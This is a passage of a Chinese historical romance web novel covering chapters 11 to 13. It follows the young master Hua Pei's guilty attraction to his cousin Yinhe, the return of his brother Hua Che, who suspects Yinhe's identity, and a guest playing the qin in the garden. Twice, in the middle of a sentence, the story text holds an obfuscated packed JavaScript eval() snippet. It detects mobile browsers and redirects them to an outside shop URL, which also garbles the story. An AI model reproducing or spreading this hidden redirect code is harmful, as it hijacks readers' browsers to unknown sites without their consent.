“你尽瞎操心。二妹三妹不在家,太太要出门,准就带上表姑娘了,人家乐得呢。谁都像小姑娘不懂事,只知道玩。”瑷宁说着笑起来,“况且这玩才费钱,你反正是当久了大爷,哪理会我等平民疾苦。说句话当然容易,马呢,跟的人呢?都是花费!” 花沛说:“人我已经想好了,我看长乐机灵又稳当,要他跟着。其余不就是花些银子,三弟留的那些都用完了?” 瑷宁扑哧一笑:“你倒好意思说!做兄长的,一毛不拔就罢了,拿着弟弟当金山银山,也不觉得脸红?” “你不懂三弟。”花沛不以为意,“不这么着,他还不高兴。我又说不过他那些‘财聚人散,财散人聚’的道理。如今正好,皆大欢喜。” “你不懂女人。”瑷宁笑他,“如今散漫惯了,等三弟娶个厉害的回来,那时才有看头呢。” 花沛心情愉悦,忍不住就和瑷宁说笑几句,“不可能,三弟那样子,哪儿会让个姑娘高出一头,肯定娶个温良贤淑的媳妇。满家里看,也就我讨到个泼辣娘子。” “敢情就我一个做了恶人。”瑷宁从浓睫下斜瞟他一眼,“怪道人说:当家三年狗都嫌。可不是就叫嫌上了。好嘛,以后我也不管别的了,贤惠大方谁不会作?只管哄了老太太和姑娘们高兴,皆大欢喜。” “是该如此。”花沛笑道。“不过谁敢嫌你?” 瑷宁在花沛身上打一拳:“还得给她们裁骑马的衣裳,谁晓得是不是一时热乎劲儿。要照你说,只管四季的全备上,都裁最好的,是吧?” “最近就能穿的让人赶紧做起来。其余都依你,看怎样合适,唯独不用在银钱上掂量。” “那就省事了。还能怎样办,难道买得起马配不起鞍,是不是这个理?” “对。用三弟的话说:‘王八都吃了,还计较葱姜?’” “三弟那张嘴。”瑷宁大笑,“王八谁吃了不知道,反正我连口汤都还没喝上呢。” “要不你也陪着妹妹们一起去?”花沛犹豫道。 “得了,我可不敢有这些高贵消遣,家里的事还不够忙的。” 花沛被一阵内疚刺痛了,最该得到消遣的便是瑷宁。可他随即看清她明亮、愉悦的目光,里面只掺了一点点戏谑——他怎么能忘了,她那么骄傲的心,才不肯生出怨怼。他心中满溢出亲切的柔情,揽过瑷宁说:“你喜欢什么,就去做。这不是还有我。” 11. 表哥 多少怕计划被突如其来之事打乱的担心,多少令人欢欣而又不耐的细致准备,终于,银荷站在了马场上。 花瑛抱怨马厩的味道,花瑶暗暗忍受硌脚的砾石,这些,银荷都没留意到。她只顾盯着远处已经跑起来的几匹马,心里生出一点不安宁:不知自己将要骑的马儿会是什么样子? 花沛原本做事细致,外加真的怕跌了谁,因此着实千挑万选,才领出了三匹身量矮、结实、同时非常温顺的马儿来,并不由自主将其中最漂亮的一匹牵到了银荷面前。 这是一匹白底带黑灰斑点的花马,银荷一见就觉得它正是自己日夜期盼的,她几乎是扑上去搂住了马儿脖子。 看她喜悦,花沛心里好似浸了蜜。他匆匆向花瑛花瑶交代几句,让她们先和马儿熟悉一下,再向银荷转去时,她早已上了马背,不待人牵着绳,就自己催马前行了。好在马儿跑不快,不然她还不定跑到了哪里。 花沛无奈苦笑,赶忙追上去,牵住马,轻声责备说:“表妹怎么这样性急。” 银荷明白花沛是为了她好,真心实意地道歉:“我实在没忍住。我就这么慢慢走,大表哥你瞧好么。” 花沛看她一眼,赞叹道:“你骑得很好,以前骑过?” “没有。不过我骑过站着不动的马,小时候我总偷偷去家里马厩玩。”银荷不好意思地解释。 花沛不禁笑起来:“你很喜欢马?” “现在我最喜欢这匹马。下次来我也是骑它?” “当然,就是专为你挑的。” 银荷非常欢喜,在心里偷偷给它取了名字,又突然生出莫名其妙的独占欲来,她不放心地问:“其他人来也会骑它吗?” 花沛愣了一下便明白了:“那个容易,我告诉他们一声,只有你来了能骑。” “我怕它太累。”银荷微微俯身,爱怜地抚摸马儿的头顶。 花沛瞧见忙说:“表妹快坐好,抓紧缰绳,别丢开手。” 银荷依言坐直,两人再没有交谈。银荷是太激动,又觉得那些傻气的想法不便告诉花沛。花沛则在心中描摹表妹的样子——与其说是看到,毋宁说是感觉到的——表妹美极了,他不敢回过头去。 银荷戴了笠帽遮阳,在她脸上流动的光影为容色添了些难明的意味,甚至比平日更要动人几分。然而花沛并没有深究原因,当真要论起来,单凭那爽利挽住下巴的绸带便足以向世人示艳。他只是想起了小时候听过的故事,故事应当做些改动——如若真有仙女见识到这一幕,再思凡下界时,必得寻一匹马儿骑上。 一圈快要转完了,花瑛花瑶还在旁边等着。 花沛终于开口:“表妹累不累,下来歇歇吧。” “我一点儿也不累,马儿会累吗?”银荷随口说道。 “不会。它一点儿也不累。”花沛说,话音听来格外温柔,令他自己心里一惊。 银荷没有注意到。她突然回神,觉出不对:还有花瑛花瑶在,自己怎能一直耽搁花沛,他一定是不放心她一个人骑。 她愧疚道:“多谢大表哥,你去帮瑛妹妹和瑶妹妹瞧瞧吧,我休息一会儿。” 花沛想要去扶她,可是只虚虚做了那么个姿势。她双脚一落地,他便不自然地收回手,旋即转身走开去。 接下来的日子,骑马便成为每天的固定活动,小厮长乐寸步不离地陪着她们。回去后,三位姑娘每人都多吃一碗饭,睡觉也更香了。 只有花沛茶饭无心。他做了一个梦:在一片花木之中,躺着一个人,而他,受到奇怪的驱使走上前去。 可能是听到他的脚步声,那人突然坐起来——一位姑娘,她身上被衾滑落,露出月光般清莹的身体。 他死死盯着那片月华,无法移开眼睛,同时又拼命想要看到这个人是谁。他知道,看见了就会万劫不复,可是诱惑太强烈了,他不由自主一寸寸抬高目光…… 他醒了,在看到之前。但他很清楚那是谁,不用看就知道。 花沛全身冷汗淋漓。他果真对表妹起了最不可告人的心思。 怎么会? 枕边传来安然温暖的气息,花沛轻轻侧过头,看着妻子。 毕竟相伴多年,他深知瑷宁。她善解人意,见识深刻,言谈尖锐而心地善良,恩怨分明,无论遇到什么事,他都可以无条件地信任她。 而他对表妹又了解多少?他甚至想不出什么词可以描述表妹,除了美。真的,只要一闭眼,他就能看到她的样子,长睫如鸦羽,嘴唇像半开的石榴般鲜艳。 莫非他也是贪恋美色之徒?可真要如此,莫非美色就如此难得?难道瑷宁不美? 他永远忘不了第一次见到瑷宁的情景,她的容色和气度一下便击中了他。因为他的母亲正是高贵的典范,他一直认为最美好的女子理应如是。 但表妹和瑷宁似是完全不同的两种人,实际上,和他认识的任何女子都两样。可是——可是为什么总要想表妹,这到底算什么? 花沛不愿对自己的邪念认真,但抑制不住地想要看见表妹,好像只要再多见一次,多说一句话,他就能清醒过来。 有时他恨不得能对表妹说出来,好使自己彻底死了这条心。——死心?好像他原本还有什么希望似的。 花沛不知是不是该庆幸——如果换作戚姑娘或者郭姑娘,他又待如何? 他与瑷宁成婚多年还没有子嗣,父亲已经旁敲侧击地提醒过他,可他始终没有认真加以考虑。是应该有孩子,但不应该令瑷宁伤心。他知道瑷宁不“大度”,而他也从没想要一位大度妻子。 那么,假使表妹不是姓曲,不是老太太的侄孙女,事情就会不同吗?花沛不是没有想过,也不是没有在这白日梦中生出片时欢喜。可即便在他最癫狂的念头里,还是始终有瑷宁。 当然,这件事本身就不对,大错特错。可如果不是瑷宁,他厌弃自己不会这样厉害。 花沛一日日在这漩流中打转,如此周而往复,似乎永无尽头。 . 自入了秋,老太太就时时念着出门在外的孙子,没有一日不说上三五遍。大家都知道她的期盼,要么跟着说几句如意话宽慰她,要么想出些消遣哄她开心,老太太屋里总是热热闹闹的。可是眼瞅着到了中秋,吃过不那么完满的团圆饭,还不知花澈人在哪里,他的讯息是半片也无。 天气渐渐转凉,刚进九月,便是十来日的连绵阴雨,雨住后,又下起了霜。清晨,织雨刚掀起帘子,就抱怨凉气渗骨,忙不迭取出厚衣裳。 银荷的几身冬衣已经裁制好多时了,她却不怕冷,只嫌时候太早不肯穿。谁知这日叫老太太看见,怕她着凉,因想起披风穿着便利,于是就留下银荷、诗钰、戚晚,让邀月找出衣料,几人挑选了,镶上皮毛,好做出几件斗篷、大氅来。 银荷选了柳黄羽毛缎配银狐里子,诗钰和戚晚两人还举棋不定,邀月也在旁边出主意。 几人正互相参详着,忽听绘云在外面喊:“三爷回来了!”话音未落,就见帘子猛地一掀,迈进一位年青公子。他并不向四处瞟一眼,大步流星直跨到老太太跟前,跪拜道:“祖母安好,孙儿回来了。” 老太太盯着面前的人看了半晌,方说:“哪一个跪着做什么,我不知道有这个孙儿,你起来。” “祖母不认我没关系,只别气坏了身子,您不答应,我便不起来。” “你还威胁起我了。”老太太气得哼哼,又喊,“前头的人呢,如今连规矩都忘了?也不见人来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16892549|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报一声,统统拉去打板子。” “理他们做什么。我嫌他们走得慢,孙儿急着见祖母,就先跑了几步。” “看看你,打哪儿蹦出来的活猴儿!”老太太终是撑不住笑了,便要去拉他,“出去大半年也没点儿长进,还是全仗着一张嘴。” “我是仗着祖母疼爱。”他瞥见老太太动作,早已自行站起,又扶老太太坐下,“孙儿知道走得长了,害祖母挂念,不得安心。这次都疏通打点好了,以后就不用再跑,我天天在家陪着祖母。” “有你这份心我便满足了。男儿以四方为事,祖母怎会拘着你?我也知你是为了家里。” 祖孙两个说了几句话后,老太太又仔细向花澈脸上端详,“好像瘦了,还黑了。” 花澈笑道:“瘦是没瘦,恐怕是黑了点儿,邋遢了些。怪我没先去归置一下,该换身衣服再来看祖母。” 这话可能过谦了,因为银荷瞧见的是一位衣冠齐楚、神采夺目的公子哥儿。 他身姿挺拔,肩阔腰窄,头束玉冠,脚蹬皂靴,穿件银色流云暗纹直缀,系一条墨灰挑银线织锦腰带。有一类人,本没必要打量其衣饰,任何衣衫在他们身上都极其熨帖,而毫无刻意之感,专为衬得人更加飘逸自如,这位正是其中榜首人物。他行动随性不羁,纵意圆方之间,放浪形骸之外,偏生又有一张轮廓漂亮、五官俊美的脸,眉眼中笑意舒扬,看上去真是通体的闲适,周身的气派,满目的风流。 银荷已经听说花澈不少事情,却还不知道他生得好一副英俊相貌。她暗叹:这人大约根本不识“拘束”二字,人虽长得好,未免太轻佻狂浪了。 其实花澈言语做派中那股子吊儿郎当恰到好处,多一分则稍嫌放肆,少一分又略逊洒脱,若非天成,绝无人能拿捏得出。放在那等花天酒地之所,纸醉金迷之乡,这幅样子或许能无往而不利,谁知银荷纯真的眼睛欣赏不来。她见花澈像是个游戏人间的浪荡子,不免大失所望。 正当银荷胡思乱想时,忽然间花澈向她转过脸,本来只是随意一瞥,看到她的瞬间却眼神一变。银荷打了个寒噤。 老太太在旁笑着说:“这是你三表哥,不用怕他。”又对了花澈道,“这位就是你舅公家的表妹,名叫由心。你要是欺负了她,我可不饶。” 银荷起身时,花澈从头到脚扫了她一眼。银荷看得分明,极力忍住,才没有顺着他的视线低头去检查自己身上。她赶紧施了一礼:“三表哥。” “果然是祖母时时挂在心上的由心妹妹。”花澈上前一揖,又望向银荷。他的声音满含赞赏,嘴角半挂嘲讽,双目微露探究,和刚刚在老太太跟前春风和煦的样子判若两人。 银荷从未见过一个人连眉梢都不动一下,却能做出这么多层次的表情,不知为何深感懊恼丧气。 好在这时老太太又去招呼介绍诗钰和戚晚,花澈再未多说什么。叙礼完毕,银荷跟两位表姑娘一同告辞出来,留祖孙二人说话。 花澈回屋后,先叫来小厮元宝,说:“你去看看那个表姑娘怎么回事。” 要不怎说元宝偏能成花澈最得力的小厮,甚至敢自封为花澈的臂膀——起码是根小指头吧。若别人,恐怕得问一句:哪个表姑娘?元宝不用。不到眨眼工夫,他就知道是哪个表姑娘——曲家的。 但元宝仍是愣在那儿。表姑娘怎么回事? 这可真是个新鲜题目。卖菜的短斤少两,当官的草菅人命,教书的胸无点墨,念书的大字不识,这些都有哇。但表姑娘,她一个未出阁的小姐,她怎么回事,她能怎么回事? 花澈吩咐完,进里屋了,等转身出来,元宝还站在那儿。花澈向他看了一眼。 这一眼,元宝半个字也不敢出口,赶紧退了出去。 12. 赠诗 这日晚间,元宝拿着一张纸,来给花澈“交差”。这页纸上写得满满当当,可元宝依然觉得,交代不过去。 如今府里共三位表姑娘,凭那两位的身份,公子就根本不会多提她们一句。唯独这一位,与老太太同姓,亲亲的侄孙女,难办就在这儿啊。让他元宝闯大内,豁出命来也就去了,让他打探小姐的事——他连织雨都不知道模样呢,就因原先她是老太太的丫环,他见了从不敢直起身子,他还敢去曲姑娘闺房探头探脑? 硬着头皮,打听出几件边边角角的事,纸上写了。薄薄一张纸,花澈捏着不作声,元宝心中愈发惴惴。 老太太确实疼爱表姑娘,差不多当成个亲孙女,莫非就为这个,公子心里不高兴?可他是正派嫡孙,犯不着和个姑娘争吧。再不然,是因为…… 终于,元宝吞吞吐吐地补充:“我还听有人说,舅老爷和咱们三老爷过去交好,难说有没有结亲家的打算。听说,表姑娘和四爷在园子里碰见了几回,大概彼此……” 元宝知道,老太太正急着花澈的婚事。二公子比他大不了几日,早早就定了亲,二奶奶已经娶进门了。公子呢,他自己固然是不肯上心,可若被弟弟赶在前面,毕竟面上不大好看。 果然,花澈问:“定亲的事是老太太说的?” 元宝忙回:“爷恕罪,老太太没提过,大概是没有的事,要不然,三老爷不在家,信上也能讲。——这都是那起闲着没事的婆子瞎议论。” 花澈想,舅老爷跟着舅老太爷上矴州的时候,还没有娶妻,三老爷是哪一年月迎娶的三太太,倒不记得了,那时候三老爷恐怕还一门心思念书。两个少年书生,无非是探讨学问,哪能讲到结不结亲家。 当然,日后二人刚好一个得了儿子,一个得了闺女,儿女大了,保不准真有了那个想法。舅老爷过世,老太太要为侄孙女打算,将她留在自己家里,肯定更放心;花涛看上了表姑娘,也没什么奇怪。表姑娘嫁给花涛,正是皆大欢喜的事。 只要,她果真是表姑娘,果真是舅老爷的女儿。 花澈又问:“表姑娘是三月二十八到家里的?” “是,是。整好半年了。” “来时带了三个人?” “是。一位可能原先是舅老爷家里管事,送了表姑娘来就回去了,一位嬷嬷,呆了一段也走了,现在还剩个丫环。” “丫环哪来的?” 元宝一惊,赶紧说:“听说路上表姑娘受了风寒,耽搁了几天,好在并无什么大碍,不过随身丫环病死了,现在这个是后来买的。路上的事情小的也还不明,就没写上,不敢欺瞒爷。” “丫环什么模样?” “就是个寻常丫头,”元宝更加摸不着头脑,“人还很小,表姑娘好像也不大派事情给她,她常去三姑娘那边玩。这丫环有不妥?” 花澈不耐烦地挥挥手。 元宝退下后,花澈望向窗外幽暗的树影,在心里回想了一遍。 “三表哥。” 尽管语气语调全然不同,而且对他说的只有三个字——她还能说什么别的?三个字,足够了,他笃定是同一个声音。 样貌也没错。 不能说夜色朦胧,没瞧真切。他记得那天月光无赖,偏偏倾在她一人身上。当时,他不由又向天空望去,看那月盘皎皎,还差一点儿才圆,令他恍然:原是姑娘淘气,偷裁下一小片月亮为自己妆饰。 那日是他在勐州逗留的最后一天,当地的事务已处理完,第二日便要北上。本来着实懒怠多管闲事,可葛家呆子站那姑娘旁边,也着实刺目。 什么“那姑娘”,真抬举她了,就是个丫头。 不该把葛全有支走,该多听听,多瞧瞧。 可惜,后悔晚了,如今,“梅香”都变成表妹了。 “三表哥。” 花澈又回想一遍。 声音的清婉和她本人倒是极为相称,看到她的样子就知道她不该是旁的语声,听到她的话音也没法想出她会是另般模样。 不过调和之处也就仅止于此了,整个人恐怕都是作伪,还有什么好说的。 花澈冷哼了一声。 第二日早晨,银荷去老太太屋里。大家都在,正在议论花澈带回来的礼物,有的赞脂粉匀净细腻,有的赞衣料花色新鲜,连诗钰、戚晚二人也有许多话说。银荷却半件东西都没收到。 难免心中纳闷,不知这位三公子为何对她有看法。 银荷对花澈,本来也谈不上喜欢或讨厌,但见到之前,因常听人口里提他,不免存有好感和期待。 譬如,老太太有回说:“他自小便那样,八、九岁上,有一回,他伯母为什么事说了他母亲几句——他伯母就是那个性子,不管多小的事情都要争个长短。就为这个他跑上高楼,等到他伯母走过,朝她射了一箭,把头上的珠花射掉了。他伯母吓得病了一场。他祖父最疼他,从来不许人打他,那一次气得不轻,把他关进祠堂反省三天。结果头天他就偷跑出去,还骑了马厩里最快的一匹马,等找到的时候,都跑出京城了。” 老太太是当笑话讲,银荷听了,却有几分钦佩;尤其是,花溯花洄也总吹嘘三哥剑术高超,于是,在银荷心目中,花澈少年英武,是侠客一流的人物。 银荷在花家日子渐长,如今,若要她离开,她真舍不得。不光自己舍不得,她还怕老太太得知真相伤心。 可是,头等大事是为由心报仇,她还等着李得来信呢,到了那日,该怎么办?她总在想,能不能有个“两全”之法:杀了葛全有,同时,瞒过老太太等人。 要瞒老太太,单凭她做不到,花家得有个人帮忙。找谁?大公子、二公子都是有家室的人,肩上事多,不便烦劳他们。四公子要读书应考,更不好要他分心。思来想去,三公子最合适。 可是,昨天,一见之下,她的念头全打消了。 这时候,几人谈论礼物谈得热闹,银荷无甚可说,便问三表哥去了哪些地方。这却没人说得清,只道是往沿海一带去了,且又说他就是在家,每日也是行踪难觅。银荷听罢,正好,不必再多见他。 坐一会儿,各人散了。银荷回到清圆居,还未进屋,小朝就迎出来说:“姑娘,刚才三公子来过,偏那会儿织雨姐姐让人喊走了,就剩我一个,真是吓了一跳,还从来没和哪位公子说过话呢。没想到三公子那么和气,还问我老家在哪里,跟了姑娘多久,在这儿可习惯。我从没想过还有那般好看的人,都不会答话了。” 小朝害羞地低了声音,“我说姑娘不是买了我,是救了我。我愿意好好跟着姑娘,根本不想家。我没说错话吧?” “没有错,你想说什么就说什么。”银荷随口回答,心中诧异非常。 “我怕三公子不信我说实话,可我真的不再想家了。”小朝欢喜地笑着,想起正事,忙道,“三公子让人搬来两口大箱子,说是出门收集的小玩意,各位姑娘们都有。他还说他自己给姑娘挑了一些,姑娘喜欢不喜欢,权当解个闷儿。” 进屋一瞧,竟是两只有小柜尺寸的柳条箱,打开看时,里面整整齐齐码放着一层层的大小包裹。小朝早耐不住了,只等银荷一声吩咐,叫来小丫环们,把里面东西一样样拿出来。 银荷刚才已经听说,此时见到实物,似乎还要别致百倍。且不提那些水粉、布匹,又有许多文具:一方凤咮砚,正是她念想了许久的。 丫环们还不停掏出各种玩器摆件,金的,铜的,水晶的,琉璃的,镶贝母的,嵌玳瑁的,雕出花鸟鱼虫的,刻成珍禽异兽的,直教人眼花缭乱。 银荷正摆弄一副西洋棋子,小朝摸出一件奇怪东西,看一眼就赶紧放下。“怪吓人的。” 银荷拿过一瞧:黑乎乎一块檀木,细看之下,雕出了一个男孩的头胸部分,头发极有趣,又短又卷,面容则是一副笑模样,两个嘴角直咧到了耳根。招人就招人在这里——看着黑娃娃毫不遮掩的憨真笑容,银荷自己也不禁欢喜起来。 她猜测是不是老太太特意嘱咐过花澈,才有他这番盛情表示。不管怎样,她对这位“三表哥”有些改观了。 这日下午,银荷独自在花园里走着,忽听身后有人唤:“由心妹妹,请留步。” 声音深沉柔和,极其悦耳,不单将银荷从思绪中唤起,还令她心头一颤。一刹那,她不是在辨这是谁的声音,竟是想:若真是唤她,是叫她的名字该多好。她快速转过身去。 花澈站在几步远的地方,望着她。银荷竟不晓得自己心中是作何想,赶快福了一礼,见他一直不吭声,便开口道:“三表哥,谢谢你送——” 花澈目光移到她头顶,突然大步上前。银荷话未说完,就见他已近得失礼。紧接着,她头上一松,一股头发哗地流下来。银荷一时不知出了何事,慌忙用手去摸,这才看到花澈正拿了她的发簪举在眼前瞧着。 回过神,银荷惊诧莫名:“你这是干什么,敢是疯了?” 花澈笑道:“这朵花儿倒有趣,我瞧着与妹妹挺适宜。你从何处得来?” 银荷不屑与他抢夺,又不是小孩子家,至少她不是。她后退两步,说:“大表嫂给我的。快还我!” “你喜欢这样的?”花澈擎着簪子,手摇了一摇。 “与三表哥何干?” “过来些,我给你绾上。”花澈仍是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16896196|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好脾气地说。 银荷惊怒交加,只管瞪着花澈。 花澈便又笑了:“还妹妹,外加,我还要赠妹妹一句诗。”他手腕向外翻个圈,献珍宝般,将簪子递在银荷面前,“妹妹正当得起这一句——人意花枝都好。” 银荷一把抓过来,又羞又恼,正要走开,花澈忽然说:“别往那边去,有人来了,咱们躲一躲。”说着,他闪身站到一边,打手势,比划银荷头发,悄声说,“快来,站得下。” 那儿正好有几座太湖石,大石之间空出的一块确实“站得下”——仅够站二人,贴着。 银荷简直气得发笑,一来,她没什么需要躲藏的,二来,她疑心花澈又耍诡计——哪有人来? 她边走边束头发,刚迈出两步,听见了急促的脚步声。 转眼,两个人转出月洞门,看见了她,快步奔过来。银荷将将插好发簪,但那两人着急,谁也没留意。 “曲姑娘,她正要找你呢。”是诗钰的丫环翠儿,她指着大房的粗使丫头小晴。 “什么事?” “曲姑娘,你能不能求老太太,把画眉要去,让她跟着你。”小晴飞快地说。 银荷想起花澈还在旁边:“咱们去那边说。” 小晴抓住她胳膊,央求道:“来不及了,人牙子都来了,曲姑娘快想想办法。” “要卖画眉?她怎么了,不是才来么?”银荷与画眉不熟,依稀记得是个模样伶俐的丫头。 “她与二爷说了几句话,大太太不高兴,要发卖她。”翠儿说完,扭头对小晴道,“这时候才着急,你怎么早不提醒她,又不是不知太太的脾气,你看我们姑娘从来远着你们二爷。” “我以为二奶奶进了门……二奶奶都没这些计较嘛。”小晴哭丧着脸,又求银荷,“姑娘去和老太太说说?” “只好试试,未必管用。”翠儿摇头叹气,“前头有一回,差点连蛛丝姐姐都撵出去,是二姑娘闹绝食,才拦下。” 银荷自己也觉得难办。她身边丫环已经够多了,再要人,显得骄奢太过,又显见是和大太太作对。说到底,自己是个“外人”,在花家未见得就比丫环们呆得长久,怎好过多掺和这些事? 她还有一重着急:这会儿,她从眼角瞥见,花澈从石后站出一点,正似笑非笑地看着她。 她如芒在背。奇怪的是,另两人对花澈在场竟毫无察觉。——当然不能让她们发现了,要是她们见她与花澈单独在此,她的头发又是潦潦草草,可真难说得清。 又是气,又是急,银荷赌气道:“画眉人呢,我去看看,我一定想个办法。” “曲姑娘别去,我跟她说。”小晴喜道,“曲姑娘快去老太太那儿吧。”说着,两人回身,又是急匆匆走了。 花澈立即走出来,笑脸上前:“妹妹不用犯难,这么点小事情,我有办法。” 银荷刚露出喜色,花澈接着说:“我可以把她要去,正好,我缺个可心意的丫头。” 银荷怒目而视。 “妹妹不愿意?”花澈马上改口,“那好,我不要了。我看她也不必非呆在咱们家,令太太不好看,我给她另寻个安稳地方,可好?” 银荷见他神情倒真不像敷衍,狐疑地瞅着他。 花澈郑重地说:“事情着急,我现在就去吩咐。最多一两日,全办妥贴了,给妹妹信。” 银荷不由点了点头。 刚要走,花澈叫住:“等一下,妹妹给我什么报酬?” 银荷脸色变了。 “我不能白做好人呀。”花澈站到她身前,认真解释,“一来,我没那个侠义心肠,二来,我没做过亏心事,不用累积善业,三,开了这个头,以后谁都来求我,我何必自找啰嗦?” 银荷冷然道:“三表哥不肯帮忙就算了,说一堆风凉话倒不嫌啰嗦。” “我肯我肯。我已经答应了妹妹,岂能反悔?”花澈拦住她,“妹妹多听一句。其实,我要的报酬不高,妹妹并不是给不了。”他笑嘻嘻说,“我没学问,只好拿别人的句子借花献佛。但听闻妹妹自幼饱读诗书,是个雅人,就请妹妹赠我一句诗,如何?” 这个报酬可是要对了。银荷冷笑:“我的学问也不够,作不出好句,三表哥要诗么,我也只好借花献佛。三表哥正当得起一句——黄衫飞白马,日日……”说到这儿,银荷忽然发觉,后面那句“日日青楼下”实在羞于出口。她窘迫地闭上嘴。 本以为花澈会恼怒,谁知他面不改色:“妹妹倒挺懂得男人。” 银荷扭身就走,可惜走得不够快,花澈的笑声从后面追来,再加一句:“不过妹妹还是错了——我的马是黑的。” 13. 怨曲 这日,银荷又对了由心昔日的诗稿和书籍出神,织雨见了劝说道:“姑娘才放下针线,别读书了,太劳心,歇歇吧。” 银荷心中感伤,走进园子,徐步而行,一面想:“不知得叔最近怎样,他去了有半年了,好长的半年啊。得叔说可能要两年,我一天天数着,决不能着急。希望他平安、顺利,尽早来信。” 已近初冬时分,时而有风吹过,枝头一阵哗啦作响,树叶便纷纷扑落在身周。银荷心道:“以前没留意,这萧索的感觉竟也很美。其实何必独悲此深秋摇落,人要悲愁,难道还分四时?——盛夏也可能如隆冬,那时看周遭繁茂热闹,心里恐怕更是难受,倒不似现在,便是天地间仅余我一人又如何?也许再有一匹马,纵马奔驰,红叶纷飞。——这个意境不错,荏苒天涯、浪迹四海。” 这么胡思乱想间,不觉便走到了花园西北角。花府的花园极大,这一片鲜有人至,只有孪生兄弟爱过来玩,不过现下兄弟两个上了学堂,此处便显出些肃杀之感,倒正是银荷有意无意追寻的。 又是一阵风刮过,隐隐送来几声琴响。“这时候谁会在园中抚琴?”银荷大感意外,循声走去。 声音是从假山上的亭中传来——一座近三层楼高的土石小山,亭子位于山之巅。银荷恐怕打断了琴乐,从山后小径上去。树木掩映,看不见亭中是何人,她静静站在稍低处一块石后,正好能将琴音听得一清二楚。 这人奏的是《胡笳十八拍》。乐声如泣如诉,急时风卷尘扬,缓时踏草悠行,紧处激越高亢,细处委婉低徊。听着这样的琴音,几乎可以想出一双手在琴上轻拨慢挑、婆娑起舞的样子。 银荷不由沮丧地看了看自己的手:“我这双手除了拿针捻线毫无用处,绝对奏不了这么好。不过到底何许人琴技这般高超,莫不是花家还养了琴师,说不好是位名家大师。可是怎么从来没听人提过,难道如此不俗的琴艺在这里也只能默默无闻。唉,知音难觅,世间莫不如此。不然何故有诗云:‘知音者诚希,念子不能别。’” 她出了一回神,又欲流泪,忙敛敛心思,专注于乐曲之上,直至终了。正要走过去拜会奏曲者,忽听一副如琴声余韵的嗓音响起,话语袅袅飘了过来:“表哥觉得如何,可还能入耳?” “指法了得。这样的弹奏很少能听见,今日倒是没有虚度。”另一人紧接着说,声音同样悦耳,温文有礼,并且还要响亮得多,让银荷一下子明白,说话人站在亭边,面向亭外,正是她头顶上方。 不过最令她惊讶的是,这两人是花澈和戚晚! 平时姐妹们玩闹时,从未见戚晚碰过琴,只推说不大会,不想竟是深藏不露。 至于花澈么,看来他并非如人所说,整日不着家。 只听戚晚又说:“表哥定然听过更好的。不敢和表哥妄论知音,但我实是万分欣喜。” 两人客客气气地交谈,银荷却大感自己处境尴尬。要是早知还另有听众,她绝不会过来打扰。听琴也罢了,又听别人的私密谈话,不管有意无意,成了什么人?可现在露面,插在二人中间,难免害大家受窘。偷偷溜走罢,自己就是探下脑袋也很可能被发现,那就更糟。 亭子里的人不知银荷心中曲折,自管自地讲。 “戚姑娘找我怕不单是为听琴吧,还有别的事?” “今日心中实在烦闷,籍曲抒意,叨扰表哥了,我知表哥事忙,肯听我弹琴,已是意外之喜。不敢再烦表哥。” “戚姑娘太客气了,都是一家人,是我一向关心不够。此时正好,不妨说说,你为何烦闷?” “表哥既问,我自不敢相瞒。”戚晚的声音稍稍发涩,显是有几分害羞紧张的样子,停了片刻,似下定决心,又说下去。 “我的境况表哥怕也听过一些,我生父早逝,为了我,母亲只能改嫁,继父待我极好,与我的弟弟妹妹不差分毫,还请了许多老师教我。我若再口出怨言,当真成好歹不分了。 “只是原先我不曾想到,学得百般技艺,不过是为了充门面嫁人。我不愿嫁给父亲选中之人,若非姨母不弃,收留我至今,还不知会流落到何处去。来此大半年,承蒙老太太和太太关照,姐妹们都友善相待,我才知原来世上还有这般美好安逸的日子。但是…… “并非我不识抬举、不知感恩,但我恐怕是在有些人心里引起了一些芥蒂,其实我并无任何不当有的心思,只是说出来只怕也无人相信。毕竟我这样一个身份,误会我也是理当的。若换做是我,我甚至更要鄙视自己。”说到这里,戚晚的话音已带了些哽咽。 平日,姐妹们在一处时,戚晚话最少;有时,她陪着孪生兄弟进花园玩,银荷碰到过几回,想与她交谈,戚晚总不大开口。这时,听她这番倾诉,银荷才知她全部苦处,不免心有戚戚焉。只不知花澈是如何想。 花澈说:“戚姑娘的意思我明白了,其实你不必多心,我并未听到有人挑你的不是。——就算有又如何,人多口杂,哪个背后没点儿闲言碎语,若真到处听听,恐怕还有更不成话的。子虚乌有、不着边际的事情不用理会,横竖有老爷太太,谁也不敢怎么样。” “话虽如此,但我实在不想因我之故,让人平添心堵。” “那戚姑娘意欲何如?” “我想要离开这里,我可以授人琴艺,我还会些其它的。只要是……只要是不累及声名之事,我都愿意做。表哥可愿帮我?” “多谢戚姑娘信任。我当然愿意出把力,只要太太同意,都交给我安排就是。”花澈答。 前两日画眉去了个好人家,后来小晴代画眉谢银荷,以为是她求了老太太,银荷却知是花澈之力。见他那次没有食言,这回也应允得痛快,银荷不禁暗暗点头。 戚晚说:“我姨母她决不会答应。我要是不愿待在这里,她一定会送我回继父家去。姨母对我很好,只是她总拿我当个孩子,并不明白我的苦处,所以我才想到来求表哥。” “太太是为你着想,我也以为很妥当。为何放着享福的日子不过,要去天涯沦落呢。特别戚姑娘看来是个聪明人,不该有这种想法。” 